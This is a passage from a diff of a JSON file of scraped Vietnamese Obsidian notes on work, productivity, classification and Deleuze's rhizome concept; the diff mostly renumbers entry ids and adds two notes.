"id": "DM" }, { "Tiêu đề": "Để tạo ra sự thú vị cần sự bất ngờ. Để tạo nên chuyên gia cần môi trường ổn định", @@ -13654,7 +13798,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-11-03T16:38:00.000Z", - "id": "DE" + "id": "DN" }, { "Tiêu đề": "❓Tại sao một công việc có ý nghĩa là không đủ để một người quyết định sẽ làm", @@ -13670,7 +13814,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-06-11T03:17:00.000Z", "Ngày cập nhật": "2023-11-16T13:35:00.000Z", - "id": "DF" + "id": "DO" }, { "Tiêu đề": "Có những lúc đầu tư vào một người để họ tạo ra sản phẩm của họ sẽ đem lại nhiều lợi nhuận hơn trả lương cho họ để họ làm cho sản phẩm của mình", @@ -13686,7 +13830,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-12-06T10:22:00.000Z", - "id": "DG" + "id": "DP" }, { "Tiêu đề": "Môi trường chuyên nghiệp tạo cảm giác tội lỗi khi thư giãn", @@ -13702,7 +13846,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-12-06T10:22:00.000Z", - "id": "DH" + "id": "DQ" }, { "Tiêu đề": "Sự chuyên nghiệp là việc ta tách bạch cuộc sống và công việc", @@ -13718,7 +13862,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-06-22T11:33:00.000Z", - "id": "DI" + "id": "DR" }, { "Tiêu đề": "Việc làm việc tại nhà sẽ cho nhiều khoảnh khắc loé sáng ý tưởng hơn", @@ -13734,7 +13878,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-12-06T10:22:00.000Z", - "id": "DJ" + "id": "DS" }, { "Tiêu đề": "Việc thay đổi mối quan hệ từ người làm chủ – nhân viên sang nhà đầu tư – người sáng lập phù hợp hơn với những công việc đòi hỏi sự sáng tạo", @@ -13750,7 +13894,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-07-28T05:56:00.000Z", - "id": "DK" + "id": "DT" }, { "Tiêu đề": "❓Tại sao tiền lại liên quan đến hệ thống cấp bậc", @@ -13766,7 +13910,23 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-12-06T12:11:00.000Z", - "id": "DL" + "id": "DU" + }, + { + "Tiêu đề": "Một học giả chỉ là cách mà một cái thư viện tạo ra một cái thư viện khác", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Kinh tế. Tâm lý học quản lý và lao động/Tâm lý học quản lý và lao động/Một học giả chỉ là cách mà một cái thư viện tạo ra một cái thư viện khác", + "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Dự án": { + "Mã dự án": "C1" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Khái niệm:: \n> A scholar is just a library’s way of making another library.\n\nNguồn:: Daniel Dennett", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2024-09-07T14:55:00.000Z", + "Ngày cập nhật": "2024-09-07T14:55:00.000Z", + "id": "DV" }, { "Tiêu đề": "Thang đo năng lực dựa trên việc có thể đưa ra phân tích và trực giác đúng hay không", @@ -13782,7 +13942,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-07-26T03:33:00.000Z", "Ngày cập nhật": "2023-12-06T14:20:00.000Z", - "id": "DM" + "id": "DW" }, { "Tiêu đề": "Tiền là cách để biến việc đáp ứng nhu cầu của người khác thành vấn đề cần giải quyết", @@ -13798,7 +13958,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-06-22T05:57:00.000Z", "Ngày cập nhật": "2023-12-06T10:48:00.000Z", - "id": "DN" + "id": "DX" }, { "Tiêu đề": "Khi làm xong một việc hiệu quả hơn, ít khi nào ta dùng thời gian rảnh để chơi, mà sẽ kiếm thêm việc để làm", @@ -13814,7 +13974,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-10-27T11:59:00.000Z", - "id": "DO" + "id": "DY" }, { "Tiêu đề": "Những app quản lý công việc mang trong mình những giá trị văn hoá", @@ -13830,7 +13990,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2024-07-26T06:04:00.000Z", - "id": "DP" + "id": "DZ" }, { "Tiêu đề": "Những công việc chưa hoàn thành sẽ ám ảnh ta (hiệu ứng Zeigarnik)", @@ -13846,7 +14006,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-12-06T10:50:00.000Z", - "id": "DQ" + "id": "Da" }, { "Tiêu đề": "Những tác giả của những app quản lý công việc cũng cảm thấy app của họ không thể giúp quản lý công việc một cách hiệu quả được", @@ -13862,7 +14022,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-11-28T03:29:00.000Z", - "id": "DR" + "id": "Db" }, { "Tiêu đề": "Nỗi ám ảnh với sự hiệu quả có thể đến từ nỗi sợ chết", @@ -13878,7 +14038,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-11-28T03:29:00.000Z", - "id": "DS" + "id": "Dc" }, { "Tiêu đề": "Sự chuyên môn hoá khiến ta không được tự đáp ứng nhu cầu của mình mà phải đáp ứng nhu cầu người khác để họ đáp ứng nhu cầu của mình", @@ -13894,7 +14054,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-03-22T05:59:00.000Z", - "id": "DT" + "id": "Dd" }, { "Tiêu đề": "Về mặt nhận thức, con người tương lai của chính mình không liên quan gì đến mình", @@ -13904,13 +14064,13 @@ "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "“We really weren’t designed to think ahead into the further future because we needed to focus on providing for ourselves in the here and now,” said psychologist Dr. Hal Hershfield, a professor of marketing at the U.C.L.A. Anderson School of Management.\n\nDr. Hershfield’s research has shown that, on a neural level, we perceive our “future selves” more like strangers than as parts of ourselves. When we procrastinate, parts of our brains actually think that the tasks we’re putting off — and the accompanying negative feelings that await us on the other side — are somebody else’s problem.\n\nTo make things worse, we’re even less able to make thoughtful, future-oriented decisions in the midst of stress. When faced with a task that makes us feel anxious or insecure, the amygdala — the “threat detector” part of the brain — perceives that task as a genuine threat, in this case to our self-esteem or well-being. Even if we intellectually recognize that putting off the task will create more stress for ourselves in the future, our brains are still wired to be more concerned with removing the threat in the present. Researchers call this “amygdala hijack.”\n[[Bộ não được thiết kế để loại bỏ mối nguy hiểm ngay bây giờ, không phải trong tương lai]]\nNguồn:: [Why You Procrastinate (It Has Nothing to Do With Self-Control)](https://www.nytimes.com/2019/03/25/smarter-living/why-you-procrastinate-it-has-nothing-to-do-with-self-control.html)\n\n[[Chúng ta thường nhìn hiện tại và tương lai bằng những khái niệm học trong quá khứ]]\n[[Phản hồi và sự giúp đỡ trả lại là những thứ xa xỉ với người được giúp]]\n", + "Toàn bộ nội dung": "“We really weren’t designed to think ahead into the further future because we needed to focus on providing for ourselves in the here and now,” said psychologist Dr. Hal Hershfield, a professor of marketing at the U.C.L.A. Anderson School of Management.\n\nDr. Hershfield’s research has shown that, on a neural level, we perceive our “future selves” more like strangers than as parts of ourselves. When we procrastinate, parts of our brains actually think that the tasks we’re putting off — and the accompanying negative feelings that await us on the other side — are somebody else’s problem.\n\nTo make things worse, we’re even less able to make thoughtful, future-oriented decisions in the midst of stress. When faced with a task that makes us feel anxious or insecure, the amygdala — the “threat detector” part of the brain — perceives that task as a genuine threat, in this case to our self-esteem or well-being. Even if we intellectually recognize that putting off the task will create more stress for ourselves in the future, our brains are still wired to be more concerned with removing the threat in the present. Researchers call this “amygdala hijack.”\n[[Bộ não được thiết kế để loại bỏ mối nguy hiểm ngay bây giờ, không phải trong tương lai]]\nNguồn:: [Why You Procrastinate (It Has Nothing to Do With Self-Control)](https://www.nytimes.com/2019/03/25/smarter-living/why-you-procrastinate-it-has-nothing-to-do-with-self-control.html)\n\n[[Chúng ta thường nhìn hiện tại và tương lai bằng những khái niệm học trong quá khứ]]\n[[Phản hồi và sự giúp đỡ trả lại là những thứ xa xỉ với người được giúp]]\n\n[Value-action gap - Wikipedia](https://en.wikipedia.org/wiki/Value-action_gap)\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-06-22T05:57:00.000Z", - "Ngày cập nhật": "2024-03-14T14:06:00.000Z", - "id": "DU" + "Ngày cập nhật": "2024-09-07T14:46:00.000Z", + "id": "De" }, { "Tiêu đề": "Việc khai thác điểm yếu của con người đem lại lợi nhuận", @@ -13926,7 +14086,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2024-04-18T06:21:00.000Z", - "id": "DV" + "id": "Df" }, { "Tiêu đề": "A problem well stated is half solved", @@ -13942,7 +14102,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-12-03T10:16:00.000Z", "Ngày cập nhật": "2024-08-13T00:58:00.000Z", - "id": "DW" + "id": "Dg" }, { "Tiêu đề": "Bản đồ không phải là vùng đất", @@ -13958,7 +14118,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-04-17T08:06:00.000Z", "Ngày cập nhật": "2024-08-02T08:33:00.000Z", - "id": "DX" + "id": "Dh" }, { "Tiêu đề": "Chúng ta thường nhìn hiện tại và tương lai bằng những khái niệm học trong quá khứ", @@ -13974,7 +14134,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-22T14:45:00.000Z", "Ngày cập nhật": "2024-08-13T00:58:00.000Z", - "id": "DY" + "id": "Di" }, { "Tiêu đề": "Dữ liệu không phải thông tin, thông tin không phải kiến thức, kiến thức không phải hiểu biết, hiểu biết không phải thông thái", @@ -13990,7 +14150,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-22T14:45:00.000Z", "Ngày cập nhật": "2024-08-13T00:58:00.000Z", - "id": "DZ" + "id": "Dj" }, { "Tiêu đề": "Giả định đến từ trực giác", @@ -14006,7 +14166,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-06-20T07:36:00.000Z", "Ngày cập nhật": "2023-12-08T05:45:00.000Z", - "id": "Da" + "id": "Dk" }, { "Tiêu đề": "Nhiều khi để trả lời được một câu hỏi ta phải tìm hiểu cả một lĩnh vực", @@ -14022,7 +14182,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-12-09T04:54:00.000Z", - "id": "Db" + "id": "Dl" }, { "Tiêu đề": "Những câu chuyện kể ra có quyền lực tạo thành thực tại", @@ -14038,7 +14198,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "Dc" + "id": "Dm" }, { "Tiêu đề": "Những niềm tin sai tạo ra một vùng chết các ý tưởng chưa được khám phá xung quanh nó", @@ -14054,7 +14214,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-03-20T09:21:00.000Z", - "id": "Dd" + "id": "Dn" }, { "Tiêu đề": "Nếu muốn kiếm được ý tưởng mới với nhiều người, nơi dễ kiếm là xung quanh những niềm tin sai phổ biến", @@ -14070,7 +14230,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-03-20T09:20:00.000Z", - "id": "De" + "id": "Do" }, { "Tiêu đề": "Có 4 loại phân loại", @@ -14086,7 +14246,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-03-20T06:47:00.000Z", - "id": "Df" + "id": "Dp" }, { "Tiêu đề": "Phân loại, dán nhãn, khai báo metadata là những cái tên khác nhau cho cùng một thứ", @@ -14102,7 +14262,23 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-03-20T06:47:00.000Z", - "id": "Dg" + "id": "Dq" + }, + { + "Tiêu đề": "Rhizome", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Nghĩ về việc nghĩ/Bản thể luận/Rhizome", + "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Dự án": { + "Mã dự án": "C1" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Chủ đề:: [[Lý thuyết đồ thị]], [[Giải trung tâm]]\n❓:: [[Sự phân loại]]\n## Sách rễ cọc\nMô hình nhị phân có sự thống nhất căn bản, là sự thống nhất của rễ cọc, là trụ cột cho cấu trúc tư duy của con người\n\nSách phản ánh lại, bắt chước thế giới tự nhiên. Chủ nghĩa hiện thực phản ánh thế giới. Các nhân vật trong sách *Những người khốn khổ*, mặc dù cũng đã được lãng mạn hóa nhưng cũng đều phản ánh một tuýp người trong xã hội, ví dụ như Jean Valjean\n\n## Sách rễ con\nRễ chính đã bị thui chột, cấy ghép lên nó là vô số các rễ phụ\nVD: các tác phẩm viết theo khuynh hướng siêu thực, phi lý: không xoay quanh một trục chính nào đó, phi tuyến, nhưng vẫn là hình ảnh của thế giới\n\n## Sách rhizome\nTạo thành rhizome cùng với thế giới, không phản ánh thế giới đang xảy ra tác giả, mà là chỉ báo. Không kết nối với thế giới mà tác giả đang sống, mà kết nối với thế giới sau đó\nVD: sách Kafka mô tả một người một ngày thức dậy thành con bọ, chứ không phải một người tư sản\ncách con người phi nhân tính hoá, mặc dù WW2 chưa xảy ra\n\n### ❓:: Có phải ý của Deleuze là cấu trúc rhizome mới là cấu trúc của thực tại, còn cấu trúc rễ cọc thì chỉ là sự mô phỏng của con người? \nTriết học của Deleuze là triết học nội tại, không phải triết học siêu việt - triết học ở đây\nThực tại trong chiến tranh lạnh là thực tại của rễ cọc. Thực tại rễ cọc đã từng tồn tại. Sau chiến tranh lạnh, Nga không còn là rễ cọc của LX\n\n### ❓:: Có phải những cấu trúc rễ cọc nay phải sửa lại không? Bản thân rhizome trong sinh vật cũng là một nhánh trong cây phân loại, mà cái cây đó là cũng không phải rhizome\n### ❓:: Khi nào thì ý tưởng về rhizome áp dụng được? Ví dụ như virus là một rhizome, nhưng vaccine thì vẫn phân phối theo cách có cấu trúc.\n### Cú pháp theo kiểu rhizome sẽ trông như thế nào? \nÝ nghĩa, cú pháp bị phá vỡ, mã ngôn ngữ bị rối loạn, thường thấy trong ngôn ngữ của các nhóm thiểu số, người có rối loạn ngôn ngữ, ngôn ngữ văn học. Ở VN có thể có Bùi Giáng có thể có ngôn ngữ rhizome:\n> Tôi sẽ ra đi bỏ lại đời \n> Mỹ Tho Mỹ Thọ Sóc Trăng ơi \n> Mỹ Thỏ muôn đời là Sóc Trắng \n> Gái mặc quần ra đứng ngó trời\n\nTrạng thái rhizome là trạng thái chưa hoàn thành\n# Các nguyên tắc của rhizome\n## 1 + 2. Kết nối và dị biệt\n- Bất kỳ một điểm nào của rhizome cũng có thể được kết nối với bất kỳ một điểm nào khác, và cần phải được kết nối\n- Trong một rhizome, mỗi một đặc điểm không nhất thiết phải quy dẫn về một đặc điểm ngôn ngữ\n> Một rhizome không ngừng kết nối với những mắt xích ký hiệu học, những tổ chức quyền lực, những dấu hiệu dẫn tới nghệ thuật, khoa học, các cuộc đấu tranh xã hội\n\nMột rhizome vẫn là kết nối, nhưng trong sự kết nối vẫn dị biệt. Cho nên Deleuze mới để 2 nguyên tắc này cùng một chỗ vì chúng luôn đi kèm với nhau\n\n\n## 3. Đa tạp\n### Cái Một -- cái Nhiều\nQuan điểm nhị nguyên, hình thái cây rễ cọc, các điểm, vị trí có chủ thể - đối tượng\nNgười Eliates cho rằng thế giới là cái Một (chỉ có một thế giới). Người Ionien cho rằng thế giới là cái nhiều. Platon và Aristote cho rằng thế giới là cái một và cái nhiều \n- Plotinus (tk 3 TCN): cái Một cao hơn tồn tại. Cái Một là nguyên tắc đầu tiên từ đó phát sinh mọi vật, còn cái Nhiều là cấp độ thấp của tồn tại, cấu thành cái Một\n- Aristote (tk 4 TCN): cái Một chính là tồn tại\n- Platon (tk 4-5 TCN): đưa ra 3 giả thuyết:\n\t- Cái Một tuyệt đối, vượt trên tồn tại, không nắm bắt được, không nhận thức được, chỉ có trí tuệ mới biết được\n\t- Cái Một là tồn tại, đồng thời là cái nhiều, có thể nhận thức được\n\t- Cái Một tồn tại và không tồn tại. Nó thay đổi. Nó là khoảnh khắc\n### Đa tạp\nĐa tạp không phải là cái một, cũng không phải là cái nhiều. Nó không quy chiếu về một sự thống nhất có trước. Nó không có cả chủ thể lẫn đối tượng, mà chỉ là những xác định, những sự vĩ đại, những tầm quan trọng, tức là những gì không thể tiến triển nếu chúng không thay đổi bản chất.\n\nĐa tạp không bao giờ để cho mình bị mã hoá. Nó không bao giờ đứng yên, đông cứng. Và nó bình đẳng không có thứ bậc (Deleuze gọi là bằng phẳng trên cùng một bình diện) \nNhững cái đa tạp được định nghĩa bởi cái bên ngoài: nó thay đổi bản chất (giải lãnh thổ hoá) bằng cách kết nối với cái khác. VD:\n\n- Hoa lan giải lãnh thổ hoá bằng cách tự tạo hình ảnh của mình giống hình ảnh của con ong\n- Con ong tái lãnh thổ hoá trên hình ảnh hoa lan\n- Con ong giải lãnh thổ hoá bằng cách trở thành một phần trong bộ máy sinh sản của hoa lan. Nó thay đổi bản chất\nCả con ong và hoa lan tạo thành một rhizome\n## 4. Đứt gãy theo một cách thức không có ý nghĩa\nMột rhizome có thể bị cắt đứt, bị bẻ gãy tại bất kỳ điểm nào, và sau đó trở lại với một đường nào đó hoặc đi theo những đường khác\nVD: trong phòng họp một người rời khỏi phòng thì rhizome phòng họp vẫn ko bị mất đi\n\nMọi rhizome đều bao hàm những đường phân mảng theo đó chúng được phân tầng, được lãnh thổ hoá, được tổ chức, làm cho có ý nghĩa, được cung cấp, v.v. , và cũng bao hàm cả những đường giải lãnh thổ hoá theo đó chúng không ngừng lẩn trốn\n\nCó sự đứt gãy trong rhizome mỗi khi những đường phân mảng bùng nổ trong một đường lẩn trốn, nhưng đường lẩn trốn là một phần của rhizome. Những đường này không ngừng quy dẫn về nhau. Vì thế không bao giờ người ta có thể có một thuyết nhị nguyên hay nhị phân, thậm chí là dưới hình thức sơ đẳng của cái tốt và cái xấu. Các nhóm và các cá nhân mang trong mình thứ chủ nghĩa phát xít vi mô, họ chỉ đòi hỏi được kết tinh. Cái tốt và cái xấu chỉ có thể là kết quả của một lựa chọn chủ động và tạm thời, và luôn phải bắt đầu lại\n\n## 5 + 6. Bản đồ và đề can\nMô hình cây cấu trúc có trục phát sinh/cấu trúc chiều sâu. Cây liên kết và phân thành thứ bậc của những bản can: tái tạo, đồ lại, bắt chước thực tại. Rhizome xa lạ với điều đó. Nó là một bản đồ không mô phỏng lại thực tại mà kết nối mọi chiều kích của thực tại. Bản đồ mở, có thể tháo gỡ, đảo lộn, xé rách, thường xuyên thay đổi, và quan trọng nhất là có vô số lối vào.\n\nHoa lan không tái tạo bản can của con ong, nó tạo thành bản đồ cùng với con ong bên trong một rhizome. Nếu bản đồ đối lập với bản can, thì bởi nó hoàn toàn hướng tới một kinh nghiệm thu nhận được từ thực tế. Bản đồ không tái tạo một vô thức khép kín trên bản thân nó, bản đồ xây dựng nên vô thức ấy.\n\nSự khác biệt giữa phân tâm học (Freud) và phâ tích phân liệt (schizoanalyse) là sự khác biệt giữa bản can và bản đồ\n\n# Rhizome = cao nguyên\n- Deleuze-Guattari xem cao nguyên có hình thái ri-zôm.\n- Một cao nguyên luôn ở giữa, không đầu không cuối. Một rhizome được tạo thành từ các cao nguyên\nCao nguyên là một vùng cường độ liên tục, ngân rung trên chính nó, phát triển trong khi tránh hướng về một đỉnh cao nhất hoặc về một kết thúc ở bên ngoài \n- « Chúng tôi gọi « cao nguyên » là tất cả những cái đa tạp được kết nối với những cái khác bằng các thân rễ ngầm dưới đất và ở trên bề mặt, theo một cách thức để tạo ra và trải rộng một ri-zôm. Chúng tôi đã viết cuốn sách này [Mille Plateaux] như một ri-zôm. Chúng tôi đã cấu tạo nó bằng những cao nguyên… Mỗi cao nguyên được đọc ở bất kỳ chỗ  nào và có quan hệ với bất kỳ một cao nguyên khác. »\nRizôm về căn bản là một cách tư duy, một cách triết luận, một phương thức biểu đạt. Một cách thức nhận sự vật từ khoảng giữa.\n> Không dễ để nhận thức sự vật từ giữa, chứ không phải từ cao xuống thấp hay từ thấp lên cao, từ trái qua phải hay ngược lại: các bạn hãy thử cách này và sẽ thấy là tất cả sẽ thay đổi”\n\nRizôm cũng được sử dụng để chỉ một hình thức tổ chức, một cách thức vận hành hay một phương thức tồn tại của sự vật, sự việc.\n\n> Một rizôm không bắt đầu cũng chẳng kết thúc, nó luôn ở vùng giữa, giữa các vật, giữa tồn tại, đoạn chêm/xen vào. Cây có quan hệ dòng dõi, còn rizôm là liên minh, chỉ là liên minh mà thôi. Cây áp đặt động từ « là », còn ri-zôm được dệt từ các liên từ « và…và...và ». Trong liên từ này có đủ sức mạnh để làm lung lay và làm bật rễ động từ « là ». (Mille Plateaux, tr. 36)\n# Không có đối lập cây - rhizome \n- Rizôm là khái niệm được tạo ra để bổ sung cho mô hình tư duy của phương Tây, nhưng không có sự đối lập giữa hai mô hình này. Hai mô hình này không tạo thành một cặp nhị nguyên. \n- Có sự chuyển hóa giữa cây và ri-zôm: « có những cấu trúc cây hay cấu trúc rễ cọc trong ri-zôm, nhưng ngược lại, một cành cây hay một sự phân rễ cũng có thể đâm chồi thành ri-zôm…. Ở giữa một cái cây, ở hõm một cái rễ hay ở nách một nhành cây, có thể mọc mầm một ri-zôm mới. Hoặc đó là một phần nhỏ xíu của cây-rễ cọc, một cái rễ con, cũng bắt đầu tạo ri-zôm. » (Mille Plateaux, tr.23)​\n \n- Deleuze nhìn thấy ở nước Mỹ một phương Tây có tính ri-zôm, nước Mỹ thoát khỏi truyền thống phương Tây theo mô hình cây. Chính ở nước Mỹ là nơi diễn ra hiện tượng chuyển hóa từ cây thành ri-zôm, nơi mà cây tạo thành ri-zôm.​\n\n❓:: nếu trong rễ cọc có rhizome thì tại sao phải tới Deleuze thì rhizome mới được khám phá? Điều gì khiến cho rễ cọc sớm chiếm lĩnh được tư duy loài người như vậy? Nếu rhizome vừa là cách con người tư duy vừa là cách thế giới cấu trúc, vậy tại sao tư duy rhizome không sớm nhận thấy cấu trúc rhizome, còn tư duy rễ cọc lại dễ dàng nhận thấy cấu trúc rễ cọc? Phải chăng là chỉ đến khi các nhà thực vật học khám phá ra rhizome thì ta mới có từ vựng để miêu tả nó? \n❓:: Có bao nhiêu loại nhị phân? Em nghe nói nhị phân phương Tây cũng khác nhị phân phương Đông (mà điển hình là Đạo giáo) \n❓:: Tư duy nhị phân (binary, duality) có phải là một dạng phân loại (classification, categorization, taxonomy) không? Tư duy rhizome có loại trừ sự phân loại không hay chỉ loại trừ sự nhị phân? Sự gỡ bỏ phân loại có phải là rhizomification? Nó có giống như mối quan hệ giữa cấu trúc luận và hậu cấu trúc luận?\n❓:: nếu rhizome rồi cũng sẽ xảy ra từ cấu trúc, vậy thì có phải ta cũng không cần cố gắng tư duy như rhizome làm gì, mà cứ tiếp tục tư duy như rễ cọc là được? \n❓:: sự khác biệt giữa rhizome và mạng lưới là gì? Một rhizome các khái niệm khác gì với một mạng lưới các khái niệm? \n❓:: một ví dụ cho thấy sự kết hợp giữa rễ cọc và rhizome (VD: con ong - hoa lan, internet)\n❓:: cao nguyên là từng điểm trong rhizome, hay là toàn bộ rhizome? Cao nguyên trong cơn ong - hoa lan ", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2024-09-02T17:36:00.000Z", + "Ngày cập nhật": "2024-09-02T17:37:00.000Z", + "id": "Dr" }, { "Tiêu đề": "Thứ làm tốt công việc của mình là thứ ta không nhận ra sự tồn tại của nó", @@ -14118,7 +14294,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-11-28T08:11:00.000Z", - "id": "Dh" + "id": "Ds" }, { "Tiêu đề": "Hoán dụ giúp ta vẽ được những thứ trừu tượng", @@ -14134,7 +14310,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-10-11T04:27:00.000Z", - "id": "Di" + "id": "Dt" }, { "Tiêu đề": "Muốn nhìn thấy siêu vật thì cần phải có một hệ thống liên kết các vật thể", @@ -14150,7 +14326,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-12-01T12:08:00.000Z", - "id": "Dj" + "id": "Du" }, { "Tiêu đề": "Siêu vật là những vật mà ta khi ta chạm vào những vị trí khác nhau của nó thì không thấy sự liên quan giữa chúng, làm ta nghĩ chúng là những vật khác nhau", @@ -14166,7 +14342,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2024-07-29T07:00:00.000Z", - "id": "Dk" + "id": "Dv" }, { "Tiêu đề": "Sử dụng nhiều ẩn dụ khác nhau sẽ cho ta thấy vật thể tốt hơn", @@ -14182,7 +14358,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-27T11:59:00.000Z", "Ngày cập nhật": "2024-08-13T00:57:00.000Z", - "id": "Dl" + "id": "Dw" }, { "Tiêu đề": "Ta mô phỏng thế giới qua những vật thể", @@ -14198,7 +14374,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-22T14:45:00.000Z", "Ngày cập nhật": "2024-08-13T00:57:00.000Z", - "id": "Dm" + "id": "Dx" }, { "Tiêu đề": "Vùng đất thường là siêu vật", @@ -14214,7 +14390,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-12-01T12:38:00.000Z", - "id": "Dn" + "id": "Dy" }, { "Tiêu đề": "Cứ 35 ngày thì ta lại có một trải nghiệm triệu lần mới có một", @@ -14230,7 +14406,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-05-18T11:34:00.000Z", - "id": "Do" + "id": "Dz" }, { "Tiêu đề": "Bản chất của việc hợp tác xã hội không nằm ở mỗi chuyện làm nhẹ gánh nặng của nhau, mà còn là chuyện sắp xếp làm sao để có thể đẩy gánh nặng sang cho nhau mà không ai cảm thấy áy náy", @@ -14246,7 +14422,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-29T06:13:00.000Z", "Ngày cập nhật": "2023-12-14T06:02:00.000Z", - "id": "Dp" + "id": "D-" }, { "Tiêu đề": "Chi phí chuyển đổi giữa lập trình và nghiên cứu là lớn", @@ -14262,7 +14438,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-11-28T15:40:00.000Z", - "id": "Dq" + "id": "D_" }, { "Tiêu đề": "Con người dường như không được thiết kế để quá trình hỏi trở nên dễ dàng", @@ -14278,7 +14454,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T08:55:00.000Z", "Ngày cập nhật": "2024-08-01T13:24:00.000Z", - "id": "Dr" + "id": "E0" }, { "Tiêu đề": "Có những câu hỏi ta rất muốn có câu trả lời nhưng mãi mà vẫn chưa đi google", @@ -14294,7 +14470,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-22T14:45:00.000Z", "Ngày cập nhật": "2024-08-02T05:27:00.000Z", - "id": "Ds" + "id": "E1" }, { "Tiêu đề": "Khi bị hỏi là sao không google, nói rằng có thể làm họ", @@ -14310,7 +14486,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-02T05:26:00.000Z", "Ngày cập nhật": "2024-08-02T05:28:00.000Z", - "id": "Dt" + "id": "E2" }, { "Tiêu đề": "Khi khoảnh khắc loé sáng ý tưởng đến vào lúc ta đang tập trung làm việc khác, nó làm tăng thêm khối lượng nhận thức mà chúng ta có trong tâm trí, qua đó làm phân tán sự tập trung của ta khỏi thứ mà ta định làm", @@ -14326,7 +14502,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-03-03T11:25:00.000Z", - "id": "Du" + "id": "E3" }, { "Tiêu đề": "Mỗi một thắc mắc đều làm tăng thêm khối lượng nhận thức mà chúng ta có trong tâm trí, qua đó làm phân tán sự tập trung của ta khỏi thứ mà ta định làm", @@ -14342,7 +14518,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2024-08-28T06:50:00.000Z", - "id": "Dv" + "id": "E4" }, { "Tiêu đề": "Nội việc đặt câu hỏi thôi đã đủ áp lực rồi, chứ đừng nói đến việc đi google hay đặt câu hỏi tốt hơn", @@ 